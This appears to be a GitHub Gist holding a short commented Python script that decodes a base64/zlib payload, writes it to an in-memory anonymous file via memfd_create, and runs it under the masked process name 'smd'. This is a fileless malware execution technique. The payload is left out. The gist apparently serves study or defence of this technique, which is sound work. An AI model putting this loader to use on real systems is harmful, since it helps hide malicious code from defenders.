-
-
Save Cyber-Def/fdc695eb8b6c5d782fbc08e26fab4708 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ctypes, os, base64, zlib | |
# Load the C library | |
c_library = ctypes.CDLL(None) | |
# Get the 'syscall' function from the C library | |
syscall = c_library.syscall | |
# Decode the Base64 encoded payload | |
decoded_payload = base64.b64decode(b'......') | |
# Decompress the decoded payload | |
decompressed_payload = zlib.decompress(decoded_payload) | |
# Make a system call to create an anonymous file in memory, | |
# syscall number 319 corresponds to 'memfd_create' | |
file_descriptor = syscall(319, '', 1) | |
# Write the decompressed payload into the anonymous file | |
os.write(file_descriptor, decompressed_payload) | |
# Create a path to the file descriptor in the proc filesystem | |
proc_path = '/proc/self/fd/%d' % file_descriptor | |
# Replace the current process with a new process, | |
# the new process is started by calling the executable at the 'proc_path' | |
os.execle(proc_path, 'smd', {}) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment